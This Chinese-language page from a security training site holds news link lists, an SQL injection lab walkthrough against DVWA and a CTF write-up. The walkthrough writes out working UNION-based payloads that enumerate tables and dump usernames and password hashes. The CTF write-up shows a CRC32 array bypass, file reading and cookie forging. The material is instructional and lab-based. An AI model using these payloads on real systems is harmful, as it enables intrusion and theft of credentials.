没有过滤造成的。
0x0A.防御方法:
禁用外部实体
过滤和验证用户提交的XML数据
不允许XML中含有任何自己声明的DTD
有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年02月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Kasablanca组织针对孟加拉国多个机构进行攻击
https://www.dhakatribune.com/business/2021/02/22/hackershave-eye-on-6-bangladeshi-organisations
2、思科修复了高危的MSO身份验证绕过漏洞
https://www.bleepingcomputer.com/news/security/cisco-fixes-maximum-severity-mso-auth-bypass-vulnerability/
3、专家警告针对QuickBooks文件数据盗窃事件明显增加
https://thehackernews.com/2021/02/experts-warns-of-notable-increase-in.html
4、Google资助Linux进行提高内核安全性开发
https://www.securityweek.com/google-funds-linux-kernel-security-development
5、黑客针对有漏洞的VMware vCenter Server进行大规模扫描
https://www.securityweek.com/hackers-scanning-vmware-vcenter-servers-affected-critical-vulnerability
6、Google披露Windows CVE-2021-24093 RCE漏洞细节
https://www.securityweek.com/google-discloses-details-remote-code-execution-vulnerability-windows
7、 Lazarus APT通过ThreatNeedle后门瞄准国防工业
https://securityaffairs.co/wordpress/115013/apt/lazarus-apt-threatneedle.html
8、印度泄露800W个Covid-19检测信息
https://threatpost.com/health-website-leaks-covid-19-test/164274/
9、能源公司Npower APP遭凭证填充攻击
https://www.bbc.com/news/technology-56195631
10、微软更新了一些基于 Intel CET 的保护机制
https://techcommunity.microsoft.com/t5/windows-kernel-internals/developer-guidance-for-hardware-enforced-stack-protection/ba-p/2163340
sql注入实战篇
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
今天要介绍的是SQL注入实验。SQL注入攻击的学习,我们更多的目的是为了学习攻击技术和防范策略,而不是刻意去攻击数据库。
首先我们先进入实验地址https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015060916565800001。
SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,实质就是将恶意的SQL代码注入到特定字段用于实施拖库攻击等。SQL注入的成功必须借助应用程序的安全漏洞,例如用户输入没有经过正确地过滤(针对某些特定字符串)或者没有特别强调类型的时候,都容易造成异常地执行SQL语句。SQL注入是网站渗透中最常用的攻击技术,但是其实SQL注入可以用来攻击所有的SQL数据库。以Sql注入产生的直接原因是拼凑SQL,绝大多数程序员在做开发的时候并不会去关注SQL最终是怎么去运行的,更不会去关注SQL执行的安全性,正是有了这种懒惰的程序员SQL注入一直没有消失。这种漏洞不是不可以避免,只是程序员没有这种
对于注入漏洞来说,可能现在很多人认为它已经过时,因为这种漏洞可以被参数化查询而杜绝。以前对这种漏洞的防御方式主要有三种:
字符串检测:限定内容只能由英文、数字等常规字符,如果检查到用户输入有特殊字符,直接拒绝。但缺点是,系统中不可避免地会有些内容包含特殊字符,这时候总不能拒绝入库。
字符串替换:把危险字符替换成其他字符,缺点是危险字符可能有很多,一一枚举替换相当麻烦,也可能有漏网之鱼。
存储过程:把参数传到存储过程进行处理,但并不是所有数据库都支持存储过程。如果存储过程中执行的命令也是通过拼接字符串出来的,还是会有漏洞。
我们还是来实践吧,这样更好理解。
我们先看一下实验的大致思路
(1)找注入并确认(经典的and 1=1 and1=2)
(2)查询基本信息(数据库类型、数据库名、应用程序类型以及系统类型)
(3)查表名、字段名,拿到想查询的内容
首先我们看一下源码
这就是这一段sql查询语句造成了最常见的SQL注入。我们继续实验,这次利用到了dvwa,我们登录dvwa然后选择SQL Injection 底下难度选择low。
先进行sql注入的第一步测试是否存在sql注入漏洞。
ID等于1的时候可以正常回显
And 1=1可以正常回显
And 1=2返回错误
这里直接返回了首页,和and 1=1返回的页面不一样。这里存在SQL注入。
为什么这样就判断有sql注入了呢?原理是把测试语句代入到了数据库查询,and就是逻辑运算,1=1为真,1=2为假,所以返回不同。
好我们接下来进行第二步判断字段数,order by 2返回正常order by 3返回错误。
字段数已经判断出来,下面如何进一步判断数据库名和用户名等基本信息。
利用语句查询知道有两个字段,接着查询数据库名和用户。
查询数据库等基本信息。
UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())
这是直接返回了数据库的usr database version。我们知道数据库的名字不就可以利用查询语句找到表的名字。
查询表段
union select 1,table_name from information_schema.tables where table_schema=0x64767761(数据库的十六进制)
查询列名
union select 1,column_name from information_schema.columns where table_name=0x7573657273(表的十六进制) and table_schema=0x64767761(数据库的十六进制)
查询用户名密码
union select password,user from users
这就把用户名跟密码爆出来了。
sql注入还不止这点,还有很多类型:
1)注入分为哪几种类型?分类依据是什么?是否唯一?
2)普通注入和盲注的区别是什么?利用方法有什么不同?
本次的实验就介绍到这里,注意多加总结和思考课后问题!我们学习的目的除了了解之外,更重要的是学习如何防范SQL注入。在面对SQL注入攻击的时候,了解其原理才能更好的防范。
下面总结几点防范SQL注入攻击的要点:
1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。
2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。
这个技术你学会了吗?加入https://www.yijinglab.com/loginLab.do#stu,1300+网安技能任你学!
网络安全日报 2021年02月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、新的“ LazyScripter”黑客组织针对航空公司
https://www.securityweek.com/new-lazyscripter-hacking-group-targets-airlines
2、飞机制造商庞巴迪证实遭数据泄露
https://www.securityweek.com/hackers-leak-data-stolen-jet-maker-bombardier
3、严重的VMware vCenter漏洞可导致遭受远程攻击
https://www.securityweek.com/critical-vmware-vcenter-server-flaw-can-expose-organizations-remote-attacks
4、Firefox 86新功能可以阻止基于Cookie的跨站点跟踪
https://www.securityweek.com/new-firefox-feature-ups-ante-against-cookie-based-tracking
5、乌克兰政府文件管理系统遭黑客攻击
https://securityaffairs.co/wordpress/114991/cyber-warfare-2/ukraine-hit-cyber-attack.html
6、菲律宾信贷应用Cashalo发生用户数据泄露
https://portswigger.net/daily-swig/filipino-credit-app-cashalo-suffers-data-breach
7、僵尸网络利用BTC区块链交易备份命令和C2地址
https://securityaffairs.co/wordpress/114984/cyber-crime/bitcoin-blockchain-botnet.html
8、越南海莲花组织APT32针对人权组织进行网络间谍活动
https://securityaffairs.co/wordpress/114973/malware/apt32-spyware-human-rights-defenders.html
9、针对大学的勒索软件攻击急剧增加
https://www.zdnet.com/article/ransomware-sharp-rise-in-attacks-against-universities-as-learning-goes-online
10、研究人员发现Nginx配置错误普遍存在
https://portswigger.net/daily-swig/nginx-server-misconfigurations-found-in-the-wild-that-expose-websites-to-attacks
CTF训练之OneWayIn
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
上次的题目counting star领悟透了吗?这次再介绍一道CTF真题吧,本次题目名称是onewayin,会用到代码解密等方面的知识。
今天介绍的CTF题目很有意思的。进入实验链接 https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016090714465400001,进入实验机操作。实验地址10.1.1.82。
你看到这个界面可以想到些什么呢?我们看到web题肯定首先就是看源码啊。
查看源码发现:
我们来分析一下这个源码。这里说:
当0_usename=0_pwd的时候输出f1()
Crc32(0_usename)=Crc32(0_pwd)的时候输出f2()
不然就f3,东哥这里两个字符串的32位CRC相等需要输入的字符串相同吧,这不是跟前面的f1()判断冲突了吗?
这就不知道吧,我们这里是需要利用CRC32函数的一个缺陷,抓包把参数改成数组并且用户名和密码的值不同,如下图:
这样就可以绕过crc32函数了吗?对,不信的话,我们来试验一下把这个数据放至Repeater模块里,
点击go你会发现出现了不同的东西,
再点击跟随跳转,
然后再点击一次跟随跳转,
这出来好多十六进制,当然我们不能只看返回啊,看一下url那里是不是有一个base64编码。
我们把这个base64解密一下居然是test.txt,这里是file=多少。哇,那我们是不是可以进行文件读取。
我们可以试一下,看看能不能读index.php的源码,先把index.php编码,
把编码之后的替换到刚才url参数的位置并点击go。
看上去好像没什么东西啊?就一个<?php没什么用啊。仔细观察的话,可以看见还有一个num参数。改一下这个num参数试一试,感觉应该是解题关键了。我们试一下返回了一些代码,我估计这里的num是表示显示多少行的函数。
果然提交不同的num参数会显示不同的源代码的行(num的值为1的时候显示index.php的第一行源代码)这底下是我记录的代码。
我们分析一下代码根据源码的提示想要访问flag.php,cookie必须有role_cookie这项,并且值为flagadmin。
直接在抓包文件上面构造一个cookie= flagadmin,我们按照这个来读取一下flag.php,这好像乱码了。
不要急,我们可以用curl这个工具把源码下载下来
这打开还是乱码?
嗯...不要急,把这个丢进php环境里看一下会运行出什么。
这是一串base64的编码,我们操作解密一下就知道了,base64解密之后发现flag。
这次的题目也颇有难度,CTF的每一道题感觉都要花不少功夫啊!当然,孰能生巧,熟练掌握这道题的解题技巧,下次碰到类似的题目可以节省很多时间。这道题利用函数缺陷,抓包,提交,解码等过程,都需要熟练掌握才能解题!
这个技术你学会了吗?加入https://www.yijinglab.com/mobile/actReg.html?pk_campaign=wenzhang-wemedia,1300+网安技能任你学!
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

